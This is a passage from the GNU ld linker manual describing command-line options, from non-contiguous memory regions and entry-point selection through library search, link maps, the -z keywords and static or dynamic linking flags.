This option avoids generating an error if an input section does not fit a matching output section. The linker tries to allocate the input section to subseque nt matching output sections, and generates an error only if no output section is large enough. This is useful when several non-contiguous memory regions are available and the input section does not require a particular one. The order in which input sections are evaluated does not change, for instance: MEMORY { MEM1 (rwx) : ORIGIN = 0x1000, LENGTH = 0x14 MEM2 (rwx) : ORIGIN = 0x1000, LENGTH = 0x40 MEM3 (rwx) : ORIGIN = 0x2000, LENGTH = 0x40 } SECTIONS { mem1 : { *(.data.*); } > MEM1 mem2 : { *(.data.*); } > MEM2 mem3 : { *(.data.*); } > MEM3 } with input sections: .data.1: size 8 .data.2: size 0x10 .data.3: size 4 results in .data.1 affected to mem1, and .data.2 and .data.3 affected to mem2, even though .data.3 would fit in mem3. This option is incompatible with INSERT statements because it changes the way input sections are mapped to output sections.

–enable-non-contiguous-regions-warnings
This option enables warnings when --enable-non-contiguous-regions allows possibly unexpected matches in sections mapping, potentially leading to silently discarding a section instead of failing because it does not fit any output region.

-e entry

–entry=entry

Use entry as the explicit symbol for beginning execution of your program, rather than the default entry point. If there is no symbol named entry, the linker will try to parse entry as a number, and use that as the entry address (the number will be interpreted in base 10; you may use a leading 0x for base 16, or a leading 0 for base 8).

–exclude-libs lib,lib,…
Specifies a list of archive libraries from which symbols should not be automatically exported. The library names may be delimited by commas or colons. Specifying --exclude-libs ALL excludes symbols in all archive libraries from automatic export. This option is available only for the i386 PE targeted port of the linker and for ELF targeted ports. For i386 PE, symbols explicitly listed in a .def file are still exported, regardless of this option. For ELF targeted ports, symbols affected by this option will be treated as hidden.

–exclude-modules-for-implib module,module,…
Specifies a list of object files or archive members, from which symbols should not be automatically exported, but which should be copied wholesale into the import library being generated during the link. The module names may be delimited by commas or colons, and must match exactly the filenames used by ld to open the files; for archive members, this is simply the member name, but for object files the name listed must include and match precisely any path used to specify the input file on the linker’s command-line. This option is available only for the i386 PE targeted port of the linker. Symbols explicitly listed in a .def file are still exported, regardless of this option.

-E

–export-dynamic

–no-export-dynamic

When creating a dynamically linked executable, using the -E option or the –export-dynamic option causes the linker to add all symbols to the dynamic symbol table. The dynamic symbol table is the set of symbols which are visible from dynamic objects at run time. If you do not use either of these options (or use the –no-export-dynamic option to restore the default behavior), the dynamic symbol table will normally contain only those symbols which are referenced by some dynamic object mentioned in the link. If you use dlopen to load a dynamic object which needs to refer back to the symbols defined by the program, rather than some other dynamic object, then you will probably need to use this option when linking the program itself. You can also use the dynamic list to control what symbols should be added to the dynamic symbol table if the output format supports it. See the description of –dynamic-list. Note that this option is specific to ELF targeted ports. PE targets support a similar function to export all symbols from a DLL or EXE; see the description of –export-all-symbols below.

–export-dynamic-symbol=glob
When creating a dynamically linked executable, symbols matching glob will be added to the dynamic symbol table. When creating a shared library, references to symbols matching glob will not be bound to the definitions within the shared library. This option is a no-op when creating a shared library and -Bsymbolic or –dynamic-list are not specified. This option is only meaningful on ELF platforms which support shared libraries.

–export-dynamic-symbol-list=file
Specify a –export-dynamic-symbol for each pattern in the file. The format of the file is the same as the version node without scope and node name. See VERSION for more information.

-EB
Link big-endian objects. This affects the default output format.

-EL
Link little-endian objects. This affects the default output format.

-f name

–auxiliary=name

When creating an ELF shared object, set the internal DT_AUXILIARY field to the specified name. This tells the dynamic linker that the symbol table of the shared object should be used as an auxiliary filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_AUXILIARY field. If the dynamic linker resolves any symbols from the filter object, it will first check whether there is a definition in the shared object name. If there is one, it will be used instead of the definition in the filter object. The shared object name need not exist. Thus the shared object name may be used to provide an alternative implementation of certain functions, perhaps for debugging or for machine-specific performance. This option may be specified more than once. The DT_AUXILIARY entries will be created in the order in which they appear on the command line.

-F name

–filter=name

When creating an ELF shared object, set the internal DT_FILTER field to the specified name. This tells the dynamic linker that the symbol table of the shared object which is being created should be used as a filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_FILTER field. The dynamic linker will resolve symbols according to the symbol table of the filter object as usual, but it will actually link to the definitions found in the shared object name. Thus the filter object can be used to select a subset of the symbols provided by the object name. Some older linkers used the -F option throughout a compilation toolchain for specifying object-file format for both input and output object files. The GNU linker uses other mechanisms for this purpose: the -b, –format, –oformat options, the TARGET command in linker scripts, and the GNUTARGET environment variable. The GNU linker will ignore the -F option when not creating an ELF shared object.

-fini=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is unloaded, by setting DT_FINI to the address of the function. By default, the linker uses _fini as the function to call.

-g
Ignored. Provided for compatibility with other tools.

-G value

–gpsize=value

Set the maximum size of objects to be optimized using the GP register to size. This is only meaningful for object file formats such as MIPS ELF that support putting large and small objects into different sections. This is ignored for other object file formats.

-h name

-soname=name

When creating an ELF shared object, set the internal DT_SONAME field to the specified name. When an executable is linked with a shared object which has a DT_SONAME field, then when the executable is run the dynamic linker will attempt to load the shared object specified by the DT_SONAME field rather than using the file name given to the linker.

-i
Perform an incremental link (same as option -r).

-init=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is loaded, by setting DT_INIT to the address of the function. By default, the linker uses _init as the function to call.

-l namespec

–library=namespec

Add the archive or object file specified by namespec to the list of files to link. This option may be used any number of times. If namespec is of the form :filename, ld will search the library path for a file called filename, otherwise it will search the library path for a file called libnamespec.a. On systems which support shared libraries, ld may also search for files other than libnamespec.a. Specifically, on ELF and SunOS systems, ld will search a directory for a library called libnamespec.so before searching for one called libnamespec.a. (By convention, a .so extension indicates a shared library.) Note that this behavior does not apply to :filename, which always specifies a file called filename. The linker will search an archive only once, at the location where it is specified on the command line. If the archive defines a symbol which was undefined in some object which appeared before the archive on the command line, the linker will include the appropriate file(s) from the archive. However, an undefined symbol in an object appearing later on the command line will not cause the linker to search the archive again. See the -( option for a way to force the linker to search archives multiple times. You may list the same archive multiple times on the command line. This type of archive searching is standard for Unix linkers. However, if you are using ld on AIX, note that it is different from the behaviour of the AIX linker.

-L searchdir

–library-path=searchdir

Add path searchdir to the list of paths that ld will search for archive libraries and ld control scripts. You may use this option any number of times. The directories are searched in the order in which they are specified on the command line. Directories specified on the command line are searched before the default directories. All -L options apply to all -l options, regardless of the order in which the options appear. -L options do not affect how ld searches for a linker script unless -T option is specified. If searchdir begins with = or $SYSROOT, then this prefix will be replaced by the sysroot prefix, controlled by the –sysroot option, or specified when the linker is configured. The default set of paths searched (without being specified with -L) depends on which emulation mode ld is using, and in some cases also on how it was configured. The paths can also be specified in a link script with the SEARCH_DIR command. Directories specified this way are searched at the point in which the linker script appears in the command line.

-m emulation
Emulate the emulation linker. You can list the available emulations with the –verbose or -V options. If the -m option is not used, the emulation is taken from the LDEMULATION environment variable, if that is defined. Otherwise, the default emulation depends upon how the linker was configured.

–remap-inputs=pattern=filename

–remap-inputs-file=file

These options allow the names of input files to be changed before the linker attempts to open them. The option –remap-inputs=foo.o=bar.o will cause any attempt to load a file called foo.o to instead try to load a file called bar.o. Wildcard patterns are permitted in the first filename, so –remap-inputs=foo*.o=bar.o will rename any input file that matches foo*.o to bar.o. An alternative form of the option –remap-inputs-file=filename allows the remappings to be read from a file. Each line in the file can contain a single remapping. Blank lines are ignored. Anything from a hash character (#) to the end of a line is considered to be a comment and is also ignored. The mapping pattern can be separated from the filename by whitespace or an equals (=) character. The options can be specified multiple times. Their contents accumulate. The remappings will be processed in the order in which they occur on the command line, and if they come from a file, in the order in which they occur in the file. If a match is made, no further checking for that filename will be performed. If the replacement filename is /dev/null or just NUL then the remapping will actually cause the input file to be ignored. This can be a convenient way to experiment with removing input files from a complicated build environment. Note that this option is position dependent and only affects filenames that come after it on the command line. Thus: ld foo.o –remap-inputs=foo.o=bar.o Will have no effect, whereas: ld –remap-inputs=foo.o=bar.o foo.o Will rename the input file foo.o to bar.o. Note - these options also affect files referenced by INPUT statements in linker scripts. But since linker scripts are processed after the entire command line is read, the position of the remap options on the command line is not significant. If the verbose option is enabled then any mappings that match will be reported, although again the verbose option needs to be enabled on the command line before the remaped filenames appear. If the -Map or –print-map options are enabled then the remapping list will be included in the map output.

-M

–print-map

Print a link map to the standard output. A link map provides information about the link, including the following:

  • Where object files are mapped into memory.

  • How common symbols are allocated.

  • All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.

  • The values assigned to symbols. Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing: foo = 1 foo = foo * 4 foo = foo + 8 will produce the following output in the link map if the -M option is used: 0x00000001 foo = 0x1 [0x0000000c] foo = (foo * 0x4) [0x0000000c] foo = (foo + 0x8) See Expressions for more information about expressions in linker scripts.

  • How GNU properties are merged. When the linker merges input .note.gnu.property sections into one output .note.gnu.property section, some properties are removed or updated. These actions are reported in the link map. For example: Removed property 0xc0000002 to merge foo.o (0x1) and bar.o (not found) This indicates that property 0xc0000002 is removed from output when merging properties in foo.o, whose property 0xc0000002 value is 0x1, and bar.o, which doesn’t have property 0xc0000002. Updated property 0xc0010001 (0x1) to merge foo.o (0x1) and bar.o (0x1) This indicates that property 0xc0010001 value is updated to 0x1 in output when merging properties in foo.o, whose 0xc0010001 property value is 0x1, and bar.o, whose 0xc0010001 property value is 0x1.

  • On some ELF targets, a list of fixups inserted by –relax foo.o: Adjusting branch at 0x00000008 towards “far” in section .text This indicates that the branch at 0x00000008 in foo.o, targeting the symbol “far” in section .text, has been replaced by a trampoline.

–print-map-discarded

–no-print-map-discarded

Print (or do not print) the list of discarded and garbage collected sections in the link map. Enabled by default.

–print-map-locals

–no-print-map-locals

Print (or do not print) local symbols in the link map. Local symbols will have the text (local) printed before their name, and will be listed after all of the global symbols in a given section. Temporary local symbols (typically those that start with .L) will not be included in the output. Disabled by default.

-n

–nmagic

Turn off page alignment of sections, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as NMAGIC.

-N

–omagic

Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as OMAGIC. Note: Although a writable text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

–no-omagic
This option negates most of the effects of the -N option. It sets the text section to be read-only, and forces the data segment to be page-aligned. Note - this option does not enable linking against shared libraries. Use -Bdynamic for this.

-o output

–output=output

Use output as the name for the program produced by ld; if this option is not specified, the name a.out is used by default. The script command OUTPUT can also specify the output file name. Note - the linker will delete the output file before it starts to write to it. It will do this even if it turns out that the link cannot be completed due to errors. Note - the linker will check to make sure that the output file name does not match the name of any of the input files, but that is all. In particular it will not complain if the output file might overwrite a source file or some other important file. Therefore in build systems it is recommended to use the -o option as the last option on the linker command line. For example consider: ld -o $(EXE) $(OBJS) ld $(OBJS) -o $(EXE) If the EXE variable is not defined for some reason, the first version of the linker command could end up deleting one of the object files (the first one in the OBJS list) whereas the second version of the linker command will generate an error message and not delete anything.

–dependency-file=depfile
Write a dependency file to depfile. This file contains a rule suitable for make describing the output file and all the input files that were read to produce it. The output is similar to the compiler’s output with -M -MP. Note that there is no option like the compiler’s -MM, to exclude “system files” (which is not a well-specified concept in the linker, unlike “system headers” in the compiler). So the output from –dependency-file is always specific to the exact state of the installation where it was produced, and should not be copied into distributed makefiles without careful editing.

-O level
If level is a numeric values greater than zero ld optimizes the output. This might take significantly longer and therefore probably should only be enabled for the final binary. At the moment this option only affects ELF shared library generation. Future releases of the linker may make more use of this option. Also currently there is no difference in the linker’s behaviour for different non-zero values of this option. Again this may change with future releases.

-plugin name
Involve a plugin in the linking process. The name parameter is the absolute filename of the plugin. Usually this parameter is automatically added by the complier, when using link time optimization, but users can also add their own plugins if they so wish. Note that the location of the compiler originated plugins is different from the place where the ar, nm and ranlib programs search for their plugins. In order for those commands to make use of a compiler based plugin it must first be copied into the ${libdir}/bfd-plugins directory. All gcc based linker plugins are backward compatible, so it is sufficient to just copy in the newest one.

–push-state
The –push-state allows one to preserve the current state of the flags which govern the input file handling so that they can all be restored with one corresponding –pop-state option. The option which are covered are: -Bdynamic, -Bstatic, -dn, -dy, -call_shared, -non_shared, -static, -N, -n, –whole-archive, –no-whole-archive, -r, -Ur, –copy-dt-needed-entries, –no-copy-dt-needed-entries, –as-needed, –no-as-needed, and -a. One target for this option are specifications for pkg-config. When used with the –libs option all possibly needed libraries are listed and then possibly linked with all the time. It is better to return something as follows: -Wl,–push-state,–as-needed -libone -libtwo -Wl,–pop-state

–pop-state
Undoes the effect of –push-state, restores the previous values of the flags governing input file handling.

-q

–emit-relocs

Leave relocation sections and contents in fully linked executables. Post link analysis and optimization tools may need this information in order to perform correct modifications of executables. This results in larger executables. This option is currently only supported on ELF platforms.

–force-dynamic
Force the output file to have dynamic sections. This option is specific to VxWorks targets.

-r

–relocatable

Generate relocatable output—i.e., generate an output file that can in turn serve as input to ld. This is often called partial linking. As a side effect, in environments that support standard Unix magic numbers, this option also sets the output file’s magic number to OMAGIC. If this option is not specified, an absolute file is produced. When linking C++ programs, this option will not resolve references to constructors; to do that, use -Ur. When an input file does not have the same format as the output file, partial linking is only supported if that input file does not contain any relocations. Different output formats can have further restrictions; for example some a.out-based formats do not support partial linking with input files in other formats at all. This option does the same thing as -i.

-R filename

–just-symbols=filename

Read symbol names and their addresses from filename, but do not relocate it or include it in the output. This allows your output file to refer symbolically to absolute locations of memory defined in other programs. You may use this option more than once. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

–rosegment

–no-rosegment

Attempt to ensure that only a single read-only, non-code segment is created. Only useful when used in conjunction with the -z separate-code option. The resulting binaries should be smaller than if -z separate-code is used on its own. Without this option, or if –no-rosegment is specified, the -z separate-code option will create two read-only segments, one before the code segment and one after it. The name of the options are misleading, but they have been chosen in order for the linker to be compatible with the LLD and GOLD linkers. Thse options are only supported by ELF targets.

-s

–strip-all

Omit all symbol information from the output file.

-S

–strip-debug

Omit debugger symbol information (but not all symbols) from the output file.

–strip-discarded

–no-strip-discarded

Omit (or do not omit) global symbols defined in discarded sections. Enabled by default.

-plugin-save-temps
Store the plugin “temporary” intermediate files permanently.

-t

–trace

Print the names of the input files as ld processes them. If -t is given twice then members within archives are also printed. -t output is useful to generate a list of all the object files and scripts involved in linking, for example, when packaging files for a linker bug report.

-T scriptfile

–script=scriptfile

Use scriptfile as the linker script. This script replaces ld’s default linker script (rather than adding to it), unless the script contains INSERT, so commandfile must specify everything necessary to describe the output file. If scriptfile does not exist in the current directory, ld looks for it in the directories specified by any preceding -L options. Command line options that appear before the -T option can affect the script, but command line options that appear after it do not. Multiple -T options will accumulate if they are augmenting the current script, otherwise the last, non-augmenting, -T option will be used. There are other ways of specifying linker scripts. See

-dT scriptfile

–default-script=scriptfile

Use scriptfile as the default linker script. This option is similar to the –script option except that processing of the script is delayed until after the rest of the command line has been processed. This allows options placed after the –default-script option on the command line to affect the behaviour of the linker script, which can be important when the linker command line cannot be directly controlled by the user. (eg because the command line is being constructed by another tool, such as gcc).

-u symbol

–undefined=symbol

Force symbol to be entered in the output file as an undefined symbol. Doing this may, for example, trigger linking of additional modules from standard libraries. -u may be repeated with different option arguments to enter additional undefined symbols. This option is equivalent to the EXTERN linker script command. If this option is being used to force additional modules to be pulled into the link, and if it is an error for the symbol to remain undefined, then the option –require-defined should be used instead.

–require-defined=symbol
Require that symbol is defined in the output file. This option is the same as option –undefined except that if symbol is not defined in the output file then the linker will issue an error and exit. The same effect can be achieved in a linker script by using EXTERN, ASSERT and DEFINED together. This option can be used multiple times to require additional symbols.

-Ur
For programs that do not use constructors or destructors, or for ELF based systems this option is equivalent to -r: it generates relocatable output—i.e., an output file that can in turn serve as input to ld. For other binaries however the -Ur option is similar to -r but it also resolves references to constructors and destructors. For those systems where -r and -Ur behave differently, it does not work to use -Ur on files that were themselves linked with -Ur; once the constructor table has been built, it cannot be added to. Use -Ur only for the last partial link, and -r for the others.

–orphan-handling=MODE
Control how orphan sections are handled. An orphan section is one not specifically mentioned in a linker script. MODE can have any of the following values:

“place”
Orphan sections are placed into a suitable output section following the strategy described in Orphan Sections. The option –unique also affects how sections are placed.

“discard”
All orphan sections are discarded, by placing them in the /DISCARD/ section.

“warn”
The linker will place the orphan section as for place and also issue a warning.

“error”
The linker will exit with an error if any orphan section is found.

The default if –orphan-handling is not given is place.

–unique[=SECTION]
Creates a separate output section for every input section matching SECTION, or if the optional wildcard SECTION argument is missing, for every orphan input section. An orphan section is one not specifically mentioned in a linker script. You may use this option multiple times on the command line; It prevents the normal merging of input sections with the same name, overriding output section assignments in a linker script.

-v

–version

-V

Display the version number for ld. The -V option also lists the supported emulations. See also the description of the –enable-linker-version in Options,,Command-line Options which can be used to insert the linker version string into a binary.

-x

–discard-all

Delete all local symbols.

-X

–discard-locals

Delete all temporary local symbols. (These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.)

-y symbol

–trace-symbol=symbol

Print the name of each linked file in which symbol appears. This option may be given any number of times. On many systems it is necessary to prepend an underscore. This option is useful when you have an undefined symbol in your link but don’t know where the reference is coming from.

-Y path
Add path to the default library search path. This option exists for Solaris compatibility.

-z keyword
The recognized keywords are:

call-nop=prefix-addr

call-nop=suffix-nop

call-nop=prefix-byte

call-nop=suffix-byte

Specify the 1-byte NOP padding when transforming indirect call to a locally defined function, foo, via its GOT slot. call-nop=prefix-addr generates 0x67 call foo. call-nop=suffix-nop generates call foo 0x90. **call-nop=prefix-**byte generates byte call foo. **call-nop=suffix-byte generates call foo byte. Supported for i386 and x86_64.

cet-report=none

cet-report=warning

cet-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_IBT and GNU_PROPERTY_X86_FEATURE_1_SHSTK properties in input .note.gnu.property section. cet-report=none, which is the default, will make the linker not report missing properties in input files. cet-report=warning will make the linker issue a warning for missing properties in input files. cet-report=error will make the linker issue an error for missing properties in input files. Note that ibt will turn off the missing GNU_PROPERTY_X86_FEATURE_1_IBT property report and shstk will turn off the missing GNU_PROPERTY_X86_FEATURE_1_SHSTK property report. Supported for Linux/i386 and Linux/x86_64.

combreloc

nocombreloc

Combine multiple dynamic relocation sections and sort to improve dynamic symbol lookup caching. Do not do this if nocombreloc.

common

nocommon

Generate common symbols with STT_COMMON type during a relocatable link. Use STT_OBJECT type if nocommon.

common-page-size=value
Set the page size most commonly used to value. Memory image layout will be optimized to minimize memory pages if the system is using pages of this size.

defs
Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. This option is the inverse of -z undefs.

dynamic-undefined-weak

nodynamic-undefined-weak

Make undefined weak symbols dynamic when building a dynamic object, if they are referenced from a regular object file and not forced local by symbol visibility or versioning. Do not make them dynamic if nodynamic-undefined-weak. If neither option is given, a target may default to either option being in force, or make some other selection of undefined weak symbols dynamic. Not all targets support these options.

execstack
Marks the object as requiring executable stack.

global
This option is only meaningful when building a shared object. It makes the symbols defined by this shared object available for symbol resolution of subsequently loaded libraries.

globalaudit
This option is only meaningful when building a dynamic executable. This option marks the executable as requiring global auditing by setting the DF_1_GLOBAUDIT bit in the DT_FLAGS_1 dynamic tag. Global auditing requires that any auditing library defined via the –depaudit or -P command-line options be run for all dynamic objects loaded by the application.

ibtplt
Generate Intel Indirect Branch Tracking (IBT) enabled PLT entries. Supported for Linux/i386 and Linux/x86_64.

ibt
Generate GNU_PROPERTY_X86_FEATURE_1_IBT in .note.gnu.property section to indicate compatibility with IBT. This also implies ibtplt. Supported for Linux/i386 and Linux/x86_64.

indirect-extern-access

noindirect-extern-access

Generate GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS in .note.gnu.property section to indicate that object file requires canonical function pointers and cannot be used with copy relocation. This option also implies noextern-protected-data and nocopyreloc. Supported for i386 and x86-64. noindirect-extern-access removes GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS from .note.gnu.property section.

initfirst
This option is only meaningful when building a shared object. It marks the object so that its runtime initialization will occur before the runtime initialization of any other objects brought into the process at the same time. Similarly the runtime finalization of the object will occur after the runtime finalization of any other objects.

interpose
Specify that the dynamic loader should modify its symbol search order so that symbols in this shared library interpose all other shared libraries not so marked.

unique

nounique

When generating a shared library or other dynamically loadable ELF object mark it as one that should (by default) only ever be loaded once, and only in the main namespace (when using dlmopen). This is primarily used to mark fundamental libraries such as libc, libpthread et al which do not usually function correctly unless they are the sole instances of themselves. This behaviour can be overridden by the dlmopen caller and does not apply to certain loading mechanisms (such as audit libraries).

lam-u48
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U48 in .note.gnu.property section to indicate compatibility with Intel LAM_U48. Supported for Linux/x86_64.

lam-u57
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U57 in .note.gnu.property section to indicate compatibility with Intel LAM_U57. Supported for Linux/x86_64.

lam-u48-report=none

lam-u48-report=warning

lam-u48-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 property in input .note.gnu.property section. lam-u48-report=none, which is the default, will make the linker not report missing properties in input files. lam-u48-report=warning will make the linker issue a warning for missing properties in input files. lam-u48-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-u57-report=none

lam-u57-report=warning

lam-u57-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U57 property in input .note.gnu.property section. lam-u57-report=none, which is the default, will make the linker not report missing properties in input files. lam-u57-report=warning will make the linker issue a warning for missing properties in input files. lam-u57-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-report=none

lam-report=warning

lam-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 and GNU_PROPERTY_X86_FEATURE_1_LAM_U57 properties in input .note.gnu.property section. lam-report=none, which is the default, will make the linker not report missing properties in input files. lam-report=warning will make the linker issue a warning for missing properties in input files. lam-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lazy
When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default.

loadfltr
Specify that the object’s filters be processed immediately at runtime.

max-page-size=value
Set the maximum memory page size supported to value.

mark-plt

nomark-plt

Mark PLT entries with dynamic tags, DT_X86_64_PLT, DT_X86_64_PLTSZ and DT_X86_64_PLTENT. Since this option stores a non-zero value in the r_addend field of R_X86_64_JUMP_SLOT relocations, the resulting executables and shared libraries are incompatible with dynamic linkers, such as those in older versions of glibc without the change to ignore r_addend in R_X86_64_GLOB_DAT and R_X86_64_JUMP_SLOT relocations, which don’t ignore the r_addend field of R_X86_64_JUMP_SLOT relocations. Supported for x86_64.

muldefs
Allow multiple definitions.

nocopyreloc
Disable linker generated .dynbss variables used in place of variables defined in shared libraries. May result in dynamic text relocations.

nodefaultlib
Specify that the dynamic loader search for dependencies of this object should ignore any default library search paths.

nodelete
Specify that the object shouldn’t be unloaded at runtime.

nodlopen
Specify that the object is not available to dlopen.

nodump
Specify that the object can not be dumped by dldump.

noexecstack
Marks the object as not requiring executable stack.

noextern-protected-data
Don’t treat protected data symbols as external when building a shared library. This option overrides the linker backend default. It can be used to work around incorrect relocations against protected data symbols generated by compiler. Updates on protected data symbols by another module aren’t visible to the resulting shared library. Supported for i386 and x86-64.

noreloc-overflow
Disable relocation overflow check. This can be used to disable relocation overflow check if there will be no dynamic relocation overflow at run-time. Supported for x86_64.

now
When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is loaded by dlopen, instead of deferring function call resolution to the point when the function is first called.

origin
Specify that the object requires $ORIGIN handling in paths.

pack-relative-relocs

nopack-relative-relocs

Generate compact relative relocation in position-independent executable and shared library. It adds DT_RELR, DT_RELRSZ and DT_RELRENT entries to the dynamic section. It is ignored when building position-dependent executable and relocatable output. nopack-relative-relocs is the default, which disables compact relative relocation. When linked against the GNU C Library, a GLIBC_ABI_DT_RELR symbol version dependency on the shared C Library is added to the output. Supported for i386 and x86-64.

relro

norelro

Create an ELF PT_GNU_RELRO segment header in the object. This specifies a memory segment that should be made read-only after relocation, if supported. Specifying common-page-size smaller than the system page size will render this protection ineffective. Don’t create an ELF PT_GNU_RELRO segment if norelro.

report-relative-reloc
Report dynamic relative relocations generated by linker. Supported for Linux/i386 and Linux/x86_64.

sectionheader

nosectionheader

Generate section header. Don’t generate section header if nosectionheader is used. sectionheader is the default.

separate-code

noseparate-code

Create separate code PT_LOAD segment header in the object. This specifies a memory segment that should contain only instructions and must be in wholly disjoint pages from any other data. Don’t create separate code PT_LOAD segment if noseparate-code is used.

shstk
Generate GNU_PROPERTY_X86_FEATURE_1_SHSTK in .note.gnu.property section to indicate compatibility with Intel Shadow Stack. Supported for Linux/i386 and Linux/x86_64.

stack-size=value
Specify a stack size for an ELF PT_GNU_STACK segment. Specifying zero will override any default non-zero sized PT_GNU_STACK segment creation.

start-stop-gc

nostart-stop-gc

When –gc-sections is in effect, a reference from a retained section to _ _start_SECNAME or _ _stop_SECNAME causes all input sections named SECNAME to also be retained, if SECNAME is representable as a C identifier and either _ _start_SECNAME or _ _stop_SECNAME is synthesized by the linker. -z start-stop-gc disables this effect, allowing sections to be garbage collected as if the special synthesized symbols were not defined. -z start-stop-gc has no effect on a definition of _ _start_SECNAME or _ _stop_SECNAME in an object file or linker script. Such a definition will prevent the linker providing a synthesized _ _start_SECNAME or _ _stop_SECNAME respectively, and therefore the special treatment by garbage collection for those references.

start-stop-visibility=value
Specify the ELF symbol visibility for synthesized _ _start_SECNAME and _ _stop_SECNAME symbols. value must be exactly default, internal, hidden, or protected. If no -z start-stop-visibility option is given, protected is used for compatibility with historical practice. However, it’s highly recommended to use -z start-stop-visibility=hidden in new programs and shared libraries so that these symbols are not exported between shared objects, which is not usually what’s intended.

text

notext

textoff

Report an error if DT_TEXTREL is set, i.e., if the position-independent or shared object has dynamic relocations in read-only sections. Don’t report an error if notext or textoff.

undefs
Do not report unresolved symbol references from regular object files, either when creating an executable, or when creating a shared library. This option is the inverse of -z defs.

unique-symbol

nounique-symbol

Avoid duplicated local symbol names in the symbol string table. Append “.number” to duplicated local symbol names if unique-symbol is used. nounique-symbol is the default.

x86-64-baseline

x86-64-v2

x86-64-v3

x86-64-v4

Specify the x86-64 ISA level needed in .note.gnu.property section. x86-64-baseline generates GNU_PROPERTY_X86_ISA_1_BASELINE. x86-64-v2 generates GNU_PROPERTY_X86_ISA_1_V2. x86-64-v3 generates GNU_PROPERTY_X86_ISA_1_V3. x86-64-v4 generates GNU_PROPERTY_X86_ISA_1_V4. Supported for Linux/i386 and Linux/x86_64.

isa-level-report=none

isa-level-report=all

isa-level-report=needed

isa-level-report=used

Specify how to report x86-64 ISA levels in input relocatable files. isa-level-report=none, which is the default, will make the linker not report x86-64 ISA levels in input files. isa-level-report=all will make the linker report needed and used x86-64 ISA levels in input files. isa-level-report=needed will make the linker report needed x86-64 ISA levels in input files. isa-level-report=used will make the linker report used x86-64 ISA levels in input files. Supported for Linux/i386 and Linux/x86_64.

Other keywords are ignored for Solaris compatibility.

-( archives -)

–start-group archives –end-group

The archives should be a list of archive files. They may be either explicit file names, or -l options. The specified archives are searched repeatedly until no new undefined references are created. Normally, an archive is searched only once in the order that it is specified on the command line. If a symbol in that archive is needed to resolve an undefined symbol referred to by an object in an archive that appears later on the command line, the linker would not be able to resolve that reference. By grouping the archives, they will all be searched repeatedly until all possible references are resolved. Using this option has a significant performance cost. It is best to use it only when there are unavoidable circular references between two or more archives.

–accept-unknown-input-arch

–no-accept-unknown-input-arch

Tells the linker to accept input files whose architecture cannot be recognised. The assumption is that the user knows what they are doing and deliberately wants to link in these unknown input files. This was the default behaviour of the linker, before release 2.14. The default behaviour from release 2.14 onwards is to reject such input files, and so the –accept-unknown-input-arch option has been added to restore the old behaviour.

–as-needed

–no-as-needed

This option affects ELF DT_NEEDED tags for dynamic libraries mentioned on the command line after the –as-needed option. Normally the linker will add a DT_NEEDED tag for each dynamic library mentioned on the command line, regardless of whether the library is actually needed or not. –as-needed causes a DT_NEEDED tag to only be emitted for a library that at that point in the link satisfies a non-weak undefined symbol reference from a regular object file or, if the library is not found in the DT_NEEDED lists of other needed libraries, a non-weak undefined symbol reference from another needed dynamic library. Object files or libraries appearing on the command line after the library in question do not affect whether the library is seen as needed. This is similar to the rules for extraction of object files from archives. –no-as-needed restores the default behaviour. Note: On Linux based systems the –as-needed option also has an affect on the behaviour of the –rpath and –rpath-link options. See the description of –rpath-link for more details.

–add-needed

–no-add-needed

These two options have been deprecated because of the similarity of their names to the –as-needed and –no-as-needed options. They have been replaced by –copy-dt-needed-entries and –no-copy-dt-needed-entries.

-assert keyword
This option is ignored for SunOS compatibility.

-Bdynamic

-dy

-call_shared

Link against dynamic libraries. This is only meaningful on platforms for which shared libraries are supported. This option is normally the default on such platforms. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it.

-Bgroup
Set the DF_1_GROUP flag in the DT_FLAGS_1 entry in the dynamic section. This causes the runtime linker to handle lookups in this object and its dependencies to be performed only inside the group. –unresolved-symbols=report-all is implied. This option is only meaningful on ELF platforms which support shared libraries.

-Bstatic

-dn

-non_shared

-static

Do not link against shared libraries. This is only meaningful on platforms for which shared libraries are supported. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it. This option also implies –unresolved-symbols=report-all. This option can be used with -shared. Doing so means that a shared library is being created but that all of the library’s external references must be resolved by pulling in entries from static libraries.

-Bsymbolic
When creating a shared library, bind references to global symbols to the definition within the shared library, if any. Normally, it is possible for a program linked against a shared library to override the definition within the shared library. This option is only meaningful on ELF platforms which support shared libraries.

-Bsymbolic-functions
